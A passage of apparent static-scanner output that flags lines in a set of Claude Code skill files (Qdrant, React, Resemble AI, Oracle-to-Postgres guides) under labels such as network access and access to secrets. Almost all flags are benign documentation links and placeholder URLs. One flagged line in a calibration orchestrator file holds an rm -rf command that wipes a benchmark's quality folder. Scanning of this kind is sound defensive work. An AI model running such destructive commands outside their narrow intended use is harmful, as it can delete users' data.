    - Check optimizer status first. Active optimizations compete for CPU and I/O, degrading search latency. - Check segment count via collection info. Too many unmerged segments after bulk upload causes slower search. - Compare filtered vs unfi
  • Network accessline 44
    - Compare filtered vs unfiltered query times. Large gap means missing payload index. [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)

harness/claude-code/skills/qdrant-monitoring/setup/SKILL.md

  • Network accessline 15
    - Node metrics at `/metrics` endpoint [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/)
  • Network accessline 16
    - Cluster metrics at `/sys_metrics` (Qdrant Cloud only) - Prefix customization via `service.metrics_prefix` config or `QDRANT__SERVICE__METRICS_PREFIX` env var - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring rep
  • Network accessline 18
    - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring repo](https://github.com/qdrant/prometheus-monitoring)
  • Network accessline 27
    - Hybrid Cloud Prometheus setup tutorial [Hybrid Cloud Prometheus](https://qdrant.tech/documentation/tutorials-and-examples/hybrid-cloud-prometheus/)
  • Network accessline 28
    - Official Grafana dashboards [Grafana dashboard repo](https://github.com/qdrant/qdrant-cloud-grafana-dashboard)
  • Network accessline 35
    - Use `/healthz`, `/livez`, `/readyz` for basic status, liveness, and readiness [Kubernetes health endpoints](https://qdrant.tech/documentation/operations/monitoring/?s=kubernetes-health-endpoints)
  • Network accessline 42
    - Hybrid Cloud provides ~11 pre-configured Prometheus alerts out of the box [Cloud cluster monitoring](https://qdrant.tech/documentation/cloud/cluster-monitoring/)
  • Network accessline 51
    - Enable JSON log format for structured analysis: set `logger.format` to `json` in config [Configuration](https://qdrant.tech/documentation/operations/configuration/)
  • Network accessline 53
    - Audit logs (v1.17+) write to local filesystem (`/qdrant/storage/audit/`), not stdout. Mount a Persistent Volume and deploy a sidecar container to tail these files to stdout so DaemonSets can pick them up. [Audit logging](https://qdrant.te

harness/claude-code/skills/qdrant-performance-optimization/indexing-performance-optimization/SKILL.md

  • Network accessline 10
    - Understand the indexing optimizer [Indexing optimizer](https://qdrant.tech/documentation/operations/optimizer/?s=indexing-optimizer)
  • Network accessline 20
    - Use batch upserts (64-256 points per request) [Points API](https://qdrant.tech/documentation/manage-data/points/?s=upload-points)
  • Network accessline 25
    - Create more shards (3-12), each shard has an independent update worker [Sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=sharding)
  • Network accessline 26
    - Create payload indexes before HNSW builds (needed for filterable vector index) [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 30
    - Disable HNSW during bulk load (set `indexing_threshold_kb` very high, restore after) [Collection params](https://qdrant.tech/documentation/manage-data/collections/?s=update-collection-parameters)
  • Network accessline 35
    See https://qdrant.tech/documentation/tutorials-develop/bulk-upload/
  • Network accessline 42
    - Check actual progress via optimizations endpoint (v1.17+) [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring)
  • Network accessline 52
    - Reduce `m` (default 16, good for most cases, 32+ rarely needed) [HNSW params](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 53
    - Reduce `ef_construct` (100-200 sufficient) [HNSW config](https://qdrant.tech/documentation/manage-data/collections/?s=indexing-vectors-in-hnsw)
  • Network accessline 54
    - Keep `max_indexing_threads` proportional to CPU cores [Configuration](https://qdrant.tech/documentation/operations/configuration/)
  • Network accessline 55
    - Use GPU for indexing [GPU indexing](https://qdrant.tech/documentation/operations/running-with-gpu/)
  • Network accessline 62
    See [Multi-tenant collections](https://qdrant.tech/documentation/manage-data/multitenancy/) for details.
  • Network accessline 71
    Read more about disabling extra HNSW links in [documentation](https://qdrant.tech/documentation/manage-data/indexing/?s=disable-the-creation-of-extra-edges-for-payload-fields)
  • Network accessline 73
    Read more about ACORN in [documentation](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)

harness/claude-code/skills/qdrant-performance-optimization/memory-usage-optimization/SKILL.md

  • Network accessline 18
    - Qdrant exposes memory usage through the `/metrics` endpoint. See [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/).
  • Network accessline 27
    - For regular search scenarios, general guidelines are provided in the [Capacity planning docs](https://qdrant.tech/documentation/operations/capacity-planning/).
  • Network accessline 29
    For a detailed breakdown of memory usage at large scale, see [Large scale memory usage example](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=memory-usage).
  • Network accessline 42
    - Deployments with low latency disks - local NVMe or similar. - Multi-tenant deployments, where only a subset of tenants is frequently accessed, so that only a fraction of data & index is loaded in RAM at a time. - For deployments with [inl
  • Network accessline 44
    - For deployments with [inline storage](https://qdrant.tech/documentation/operations/optimize/?s=inline-storage-in-hnsw-index) enabled.
  • Network accessline 52
    - Use quantization to store only compressed vectors in RAM [Quantization docs](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 54
    - Use float16 or int8 datatypes to reduce memory usage of vectors by 2x or 4x respectively, with some tradeoff in precision. Read more about vector datatypes in [documentation](https://qdrant.tech/documentation/manage-data/vectors/?s=dataty
  • Network accessline 56
    - Leverage Matryoshka Representation Learning (MRL) to store only small vectors in RAM while keeping large vectors on disk. Examples of how to use MRL with Qdrant Cloud inference: [MRL docs](https://qdrant.tech/documentation/inference/?s=re
  • Network accessline 58
    - For multi-tenant deployments with small tenants, vectors might be stored on disk because the same tenant's data is stored together [Multitenancy docs](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance)
  • Network accessline 60
    - For deployments with fast local storage and relatively low requirements for search throughput, it may be possible to store all components of vector store on disk. Read more about the performance implications of on-disk storage in [the art
  • Network accessline 62
    - For low RAM environments, consider `async_scorer` config, which enables support of `io_uring` for parallel disk access, which can significantly improve performance of on-disk storage. Read more about `async_scorer` in [the article](https:
  • Network accessline 64
    - Consider storing Sparse Vectors and text payload on disk, as they are usually more disk-friendly than dense vectors. - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk
  • Network accessline 65
    - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)
  • Network accessline 66
    - Configure sparse vectors to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=sparse-vector-index)

harness/claude-code/skills/qdrant-performance-optimization/search-speed-optimization/SKILL.md

  • Network accessline 28
    - Tune HNSW parameters: [Fine-tuning search](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 29
    - Enable in-memory quantization: [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization)
  • Network accessline 30
    - Reduce Vector Dimensionality with Matryoshka Models: [Matryoshka Models](https://qdrant.tech/documentation/inference/?s=reduce-vector-dimensionality-with-matryoshka-models)
  • Network accessline 31
    - Use oversampling + rescore for high-dimensional vectors [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization)
  • Network accessline 32
    - Enable io_uring for disk-heavy workloads on Linux [io_uring](https://qdrant.tech/articles/io_uring/)
  • Network accessline 39
    - Reduce segment count (`default_segment_number` to 2) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput)
  • Network accessline 40
    - Use batch search API instead of single queries [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api)
  • Network accessline 41
    - Enable quantization to reduce CPU cost [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization)
  • Network accessline 42
    - Add replicas to distribute read load [Replication](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication)
  • Network accessline 49
    - Create payload index on the filtered field [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 50
    - Use `is_tenant=true` for primary filtering condition: [Tenant index](https://qdrant.tech/documentation/manage-data/indexing/?s=tenant-index)
  • Network accessline 51
    - Try ACORN algorithm for complex filters: [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
  • Network accessline 68
    Learn more [here](https://qdrant.tech/documentation/search/low-latency-search/?s=query-indexed-data-only)

harness/claude-code/skills/qdrant-scaling/minimize-latency/SKILL.md

  • Network accessline 14
    - Increase segment count to match CPU cores (`default_segment_number: 16`) [Minimizing latency](https://qdrant.tech/documentation/operations/optimize/?s=minimizing-latency)
  • Network accessline 15
    - Keep quantized vectors and HNSW in RAM (`always_ram=true`) - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Use local NVMe,
  • Network accessline 16
    - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 23
    - Vertical scale RAM first. Critical if working set >80%. - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 24
    - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 25
    - Move payload indexes to disk if filtering is infrequent [On-disk payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)

harness/claude-code/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling/SKILL.md

  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)

harness/claude-code/skills/qdrant-scaling/scaling-data-volume/sliding-time-window/SKILL.md

  • Network accessline 15
    Use when: data has natural time boundaries (daily, weekly, monthly). Preferred because queries span all time periods in one request without application-level fan-out. [User-defined sharding](https://qdrant.tech/documentation/operations/dist
  • Network accessline 31
    Use when: you need per-period collection configuration (e.g., different quantization or storage settings). [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases)
  • Network accessline 33
    1. Create one collection per time period, point a write alias at the newest 2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switc
  • Network accessline 34
    2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=s
  • Network accessline 35
    3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection)
  • Network accessline 45
    1. Store a `timestamp` payload on every point, create a payload index on it [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 46
    2. Filter to the desired window at query time using `range` condition [Range filter](https://qdrant.tech/documentation/search/filtering/?s=range)
  • Network accessline 47
    3. Periodically delete expired points using delete-by-filter [Delete points](https://qdrant.tech/documentation/manage-data/points/?s=delete-points)
  • Network accessline 58
    - **Shard rotation:** place current shard key on fast-storage nodes, move older shard keys to cheaper nodes via shard placement. All queries still go through a single collection. - **Collection rotation:** keep current collection in RAM (`a
  • Network accessline 59
    - **Collection rotation:** keep current collection in RAM (`always_ram: true`), move older collections to mmap/on-disk vectors. [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)

harness/claude-code/skills/qdrant-scaling/scaling-data-volume/tenant-scaling/SKILL.md

  • Network accessline 10
    - Understand multitenancy patterns [Multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/)
  • Network accessline 18
    Read about [Partition by payload](https://qdrant.tech/documentation/manage-data/multitenancy/?s=partition-by-payload) and [Calibrate performance](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) for best 
  • Network accessline 23
    At this scale, the cluster may consist of several peers. To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants 
  • Network accessline 24
    To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants to specific shards based on tenant ID hash.
  • Network accessline 29
    If some tenants are much larger than others, use [tiered multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/?s=tiered-multitenancy) to promote large tenants to dedicated shards while keeping small tenants on shared sha

harness/claude-code/skills/qdrant-scaling/scaling-data-volume/vertical-scaling/SKILL.md

  • Network accessline 10
    - Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/)
  • Network accessline 10
    - Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/)
  • Network accessline 28
    - Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli)
  • Network accessline 28
    - Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli)
  • Network accessline 41
    - Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q
  • Network accessline 41
    - Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q
  • Network accessline 42
    - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 42
    - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 43
    - With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)
  • Network accessline 43
    - With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)

harness/claude-code/skills/qdrant-scaling/scaling-qps/SKILL.md

  • Network accessline 16
    - Use fewer, larger segments (`default_segment_number: 2`) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput)
  • Network accessline 17
    - Enable quantization with `always_ram=true` to reduce disk IO [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 18
    - Use batch search API to amortize overhead [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api)
  • Network accessline 22
    - Configure update throughput control (v1.17+) to prevent unoptimized searches degrading reads [Low latency search](https://qdrant.tech/documentation/search/low-latency-search/)
  • Network accessline 24
    - Configure delayed read fan-out (v1.17+) for tail latency [Delayed fan-outs](https://qdrant.tech/documentation/search/low-latency-search/?s=use-delayed-fan-outs)
  • Network accessline 32
    - Shard replicas serve queries from replicated shards, distributing read load across nodes - Each replica adds independent query capacity without re-sharding - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment
  • Network accessline 34
    - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication)
  • Network accessline 44
    - Upgrade to provisioned IOPS or local NVMe first. See impact of disk performance to vector search in [Disk performance article](https://qdrant.tech/articles/memory-consumption/)
  • Network accessline 45
    - Use `io_uring` on Linux (kernel 5.11+) [io_uring article](https://qdrant.tech/articles/io_uring/)
  • Network accessline 46
    - In case of quantized vectors, prefer global rescoring over per-segment rescoring to reduce disk reads. Example in the [tutorial](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=search-query)
  • Network accessline 47
    - Configure higher number of search threads to parallelize disk reads. Default is `cpu_count - 1`, which is optimal for RAM-based search but may be too low for disk-based search. See [configuration reference](https://qdrant.tech/documentati

harness/claude-code/skills/qdrant-search-quality/SKILL.md

  • Network accessline 39
    Start by testing with exact search to isolate the problem. Preserve and consult the Qdrant Search API documentation at https://qdrant.tech/documentation/search/search/?s=search-api.
  • Network accessline 106
    - [Qdrant Search API](https://qdrant.tech/documentation/search/search/?s=search-api)

harness/claude-code/skills/qdrant-search-quality/diagnosis/SKILL.md

  • Network accessline 14
    - Test with `exact=true` to bypass HNSW approximation [Search API](https://qdrant.tech/documentation/tutorials-search-engineering/retrieval-quality/?s=standard-mode-vs-exact-search)
  • Network accessline 16
    - Check if quantization degrades quality (compare with and without) - Check if filters are too restrictive (then you might need to use ACORN) - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://
  • Network accessline 18
    - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://qdrant.tech/documentation/search/search/?s=grouping-api)
  • Network accessline 26
    - Increase `hnsw_ef` at query time [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 27
    - Increase `ef_construct` (200+ for high quality) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 28
    - Increase `m` (16 default, 32 for high recall) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 29
    - Enable oversampling + rescore with quantization [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization)
  • Network accessline 30
    - ACORN for filtered queries (v1.16+) [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
  • Network accessline 32
    Binary quantization requires rescore. Without it, quality loss is severe. Use oversampling (3-5x minimum for binary) to recover recall. Always test quantization impact on your data before production. [Quantization](https://qdrant.tech/docum
  • Network accessline 38
    Test top 3 MTEB models on 100-1000 sample queries, measure recall@10. Domain-specific models often outperform general models. [Hosted inference](https://qdrant.tech/documentation/inference/)

harness/claude-code/skills/qdrant-search-quality/search-strategies/SKILL.md

  • Network accessline 15
    - Dense + sparse with `prefetch` and fusion [Hybrid search](https://qdrant.tech/documentation/search/hybrid-queries/?s=hybrid-search)
  • Network accessline 16
    - Prefer learned sparse ([miniCOIL](https://qdrant.tech/documentation/fastembed/fastembed-minicoil/), SPLADE, GTE) over raw BM25 if applicable (when user needs smart keywords matching and learned sparse models know the vocabulary of the dom
  • Network accessline 17
    - For non-English languages, [configure sparse BM25 parameters accordingly](https://qdrant.tech/documentation/search/text-search/?s=language-specific-settings)
  • Network accessline 18
    - RRF: good default, supports weighted (v1.17+) [RRF](https://qdrant.tech/documentation/search/hybrid-queries/?s=reciprocal-rank-fusion-rrf)
  • Network accessline 19
    - DBSF with asymmetric limits (sparse_limit=250, dense_limit=100) can outperform RRF for technical docs [DBSF](https://qdrant.tech/documentation/search/hybrid-queries/?s=distribution-based-score-fusion-dbsf)
  • Network accessline 26
    - Cross-encoder rerankers via FastEmbed [Rerankers](https://qdrant.tech/documentation/fastembed/fastembed-rerankers/)
  • Network accessline 27
    - See how to use [Multistage queries](https://qdrant.tech/documentation/search/hybrid-queries/?s=multi-stage-queries) in Qdrant
  • Network accessline 28
    - ColBERT and ColPali/ColQwen reranking is especially precise due to late interaction mechanisms, but it is heavy. It is important to configure and store multivectors without building HNSW for them to save resources. See [Multivector repres
  • Network accessline 40
    - RF Query is currently based on a [3-parameter naive formula](https://qdrant.tech/documentation/search/search-relevance/?s=naive-strategy) with no universal defaults, so it must be tuned per dataset, retriever, and feedback model
  • Network accessline 41
    - Use [qdrant-relevance-feedback](https://pypi.org/project/qdrant-relevance-feedback/) to tune parameters, evaluate impact with Evaluator, and check retriever-feedback agreement. See README for setup instructions. No GPUs are needed, and th
  • Network accessline 42
    - Check the configuration of the [Relevance Feedback Query API](https://qdrant.tech/documentation/search/search-relevance/?s=relevance-feedback)
  • Network accessline 43
    - Use this as a helper end-to-end text retrieval example with parameter tuning and evals to understand how to use the API and run the `qdrant-relevance-feedback` framework: [RF tutorial](https://qdrant.tech/documentation/tutorials-search-en
  • Network accessline 49
    - Use MMR (v1.15+) as a query parameter with `diversity` to balance relevance and diversity [MMR](https://qdrant.tech/documentation/search/search-relevance/?s=maximal-marginal-relevance-mmr)
  • Network accessline 57
    - Recommendation API: positive/negative examples to recommend fitting vectors [Recommendation API](https://qdrant.tech/documentation/search/explore/?s=recommendation-api)
  • Network accessline 58
    - Best score strategy: better for diverse examples, supports negative-only [Best score](https://qdrant.tech/documentation/search/explore/?s=best-score-strategy)
  • Network accessline 59
    - Discovery API: context pairs (positive/negative) to constrain search regions without a request target [Discovery](https://qdrant.tech/documentation/search/explore/?s=discovery-api)
  • Network accessline 64
    Check how to set up in [Score Boosting docs](https://qdrant.tech/documentation/search/search-relevance/?s=score-boosting)

harness/claude-code/skills/qdrant-version-upgrade/SKILL.md

  • Network accessline 36
    A Qdrant cluster with a replication factor of 2 or higher can be upgraded without downtime by performing a rolling upgrade: upgrade one node at a time while the other nodes continue to serve requests. Preserve the replication factor referen
  • Network accessline 51
    3. Upgrade the SDK to the next target minor first; keep feature usage within the old server's supported subset until server upgrade completes. 4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait fo
  • Network accessline 52
    4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait for health before continuing. 5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. 6.
  • Network accessline 53
    5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli.
  • Network accessline 92
    - [Qdrant replication factor documentation](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication-factor)
  • Network accessline 93
    - [qcloud CLI](https://github.com/qdrant/qcloud-cli)

harness/claude-code/skills/quality-playbook/LICENSE.txt

  • Network accessline 1
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 184
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/skills/quality-playbook/SKILL.md

  • Network accessline 11
    metadata:   author: Andrew Stellman   github: "https://github.com/andrewstellman/quality-playbook"
  • Network accessline 12
    author: Andrew Stellman   github: "https://github.com/andrewstellman/quality-playbook"   version: 1.5.6
  • Network accessline 13
    github: "https://github.com/andrewstellman/quality-playbook"
  • Network accessline 57
    > Quality Playbook v1.5.6 — by Andrew Stellman > https://github.com/andrewstellman/quality-playbook
  • Network accessline 58
    > https://github.com/andrewstellman/quality-playbook
  • Network accessline 257
    - https://github.com/andrewstellman/quality-playbook

harness/claude-code/skills/quality-playbook/agents/calibration_orchestrator.md

  • Dangerous shell operationline 99
    3. Reset the benchmark's `quality/` to a known-empty state: `cp -r repos/archive/<bench>/quality/previous_runs/<latest>/ /tmp/save-<bench>/ && rm -rf repos/archive/<bench>/quality/* && cp -r /tmp/save-<bench>/quality/* repos/archive/<bench>

harness/claude-code/skills/quality-playbook/agents/quality-playbook-claude.agent.md

  • Network accessline 58
    **If not found**, tell the user to install it from https://github.com/andrewstellman/quality-playbook and stop.

harness/claude-code/skills/quality-playbook/agents/quality-playbook.agent.md

  • Network accessline 54
    > The quality playbook skill isn't installed in this repository yet. Install it from the [quality-playbook repository](https://github.com/andrewstellman/quality-playbook):

harness/claude-code/skills/quality-playbook/quality_gate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/quality-playbook/references/extended-guide.md

  • Network accessline 1081
    > Generated by [Quality Playbook](https://github.com/andrewstellman/quality-playbook) v1.5.3 — Andrew Stellman
  • Network accessline 1088
    # Generated by Quality Playbook v1.5.6 — https://github.com/andrewstellman/quality-playbook

harness/claude-code/skills/quality-playbook/references/review_protocols.md

  • Access to secretsline 425
    [Credential-related source omitted]

harness/claude-code/skills/react18-lifecycle-patterns/references/componentWillMount.md

  • Network accessline 57
    componentWillMount() {     this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)
  • Network accessline 58
    this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)       .then(r => r.json())
  • Network accessline 59
    fetch(`/api/users/${this.props.userId}`)
  • Network accessline 77
    // All side effects move here - runs after first render     this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)
  • Network accessline 78
    this.subscription = this.props.eventBus.subscribe(this.handleEvent);     fetch(`/api/users/${this.props.userId}`)       .then(r => r.json())
  • Network accessline 79
    fetch(`/api/users/${this.props.userId}`)
  • Network accessline 136
    componentWillMount() {   this.setState({ loading: true, items: [] });              // Case A   fetch('/api/items').then(r => r.json())                   // Case B
  • Network accessline 137
    this.setState({ loading: true, items: [] });              // Case A   fetch('/api/items').then(r => r.json())                   // Case B     .then(items => this.setState({ items, loading: false }));
  • Network accessline 138
    fetch('/api/items').then(r => r.json())                   // Case B
  • Network accessline 151
    componentDidMount() {   fetch('/api/items').then(r => r.json())    // Case B → componentDidMount
  • Network accessline 152
    fetch('/api/items').then(r => r.json())    // Case B → componentDidMount

harness/claude-code/skills/react19-concurrent-patterns/references/react19-suspense.md

  • Network accessline 88
    // Raw promise (not recommended in production): function DataComponent() {   const data = use(fetch('/api/data').then(r => r.json()));
  • Network accessline 89
    function DataComponent() {   const data = use(fetch('/api/data').then(r => r.json()));   return <pre>{JSON.stringify(data, null, 2)}</pre>;
  • Network accessline 90
    const data = use(fetch('/api/data').then(r => r.json()));
  • Network accessline 111
    // Only create promise once per id:   const dataPromise = useMemo(() =>     fetch(`/api/data/${id}`).then(r => r.json()),
  • Network accessline 112
    const dataPromise = useMemo(() =>     fetch(`/api/data/${id}`).then(r => r.json()),     [id]
  • Network accessline 113
    fetch(`/api/data/${id}`).then(r => r.json()),

harness/claude-code/skills/resemble-detect/LICENSE

  • Network accessline 1
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 195
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/skills/resemble-detect/SKILL.md

  • Network accessline 10
    metadata:   compatibility: >-     Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media
  • Network accessline 11
    compatibility: >-     Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media     must be accessible through public HTTPS URLs except text detection.
  • Network accessline 12
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 33
    - Base docs URL: <https://docs.resemble.ai/welcome>.
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 79
    {   "url": "https://example.com/suspect.mp4",
  • Network accessline 80
    "url": "https://example.com/suspect.mp4",
  • Access to secretsline 156
    [Credential-related source omitted]
  • Network accessline 169
    [Credential-related source omitted]
  • Network accessline 212
    - [Resemble AI dashboard](https://app.resemble.ai)
  • Network accessline 213
    - [Resemble documentation](https://docs.resemble.ai/welcome)

harness/claude-code/skills/resemble-detect/references/api-reference.md

  • Network accessline 7
    - **Base URL**: `https://docs.resemble.ai/welcome`
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 19
    {   "url": "https://example.com/media.mp4",
  • Network accessline 20
    "url": "https://example.com/media.mp4",
  • Network accessline 55
    "consistency": "0.91",   "aggregated_score": "0.92",   "image": "https://{example-url}"
  • Network accessline 56
    "aggregated_score": "0.92",   "image": "https://{example-url}" }
  • Network accessline 57
    "image": "https://{example-url}"
  • Network accessline 70
    "label": "fake",   "score": 0.87,   "image": "https://{example-url}",
  • Network accessline 71
    "score": 0.87,   "image": "https://{example-url}",   "ifl": { "score": 0.82, "heatmap": "https://{example-url}" },
  • Network accessline 72
    "image": "https://{example-url}",
  • Network accessline 73
    "ifl": { "score": 0.82, "heatmap": "https://{example-url}" },
  • Network accessline 105
    { "url": "https://example.com/audio.mp3", "json": true }
  • Network accessline 175
    {   "url": "https://example.com/image.png",
  • Network accessline 176
    "url": "https://example.com/image.png",
  • Network accessline 195
    { "url": "https://example.com/suspect-image.png" }
  • Network accessline 217
    {   "audio_url": "https://example.com/known-speaker.wav",
  • Network accessline 218
    "audio_url": "https://example.com/known-speaker.wav",
  • Network accessline 226
    {   "audio_url": "https://example.com/unknown-speaker.wav",
  • Network accessline 227
    "audio_url": "https://example.com/unknown-speaker.wav",

harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/oracle-parentheses-from-clause.md

  • Network accessline 182
    - Reference: [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Other syntax differences - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)
  • Network accessline 183
    - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)

harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-to-char-numeric.md

  • Network accessline 144
    - [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Related type conversion issues - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)
  • Network accessline 145
    - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)

harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-type-coercion.md

  • Network accessline 171
    - [PostgreSQL Type Casting Documentation](https://www.postgresql.org/docs/current/sql-syntax.html)
  • Network accessline 172
    - [Oracle Type Conversion Documentation](https://docs.oracle.com/database/121/SQLRF/sql_elements003.htm)
  • Network accessline 173
    - [Npgsql Exception: Operator Does Not Exist](https://www.npgsql.org/doc/api/Npgsql.NpgsqlException.html)

harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/postgres-concurrent-transactions.md

  • Network accessline 257
    - [Npgsql Documentation: Basic Usage](https://www.npgsql.org/doc/basic-usage.html)
  • Network accessline 258
    - [PostgreSQL Documentation: Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html)
  • Network accessline 259
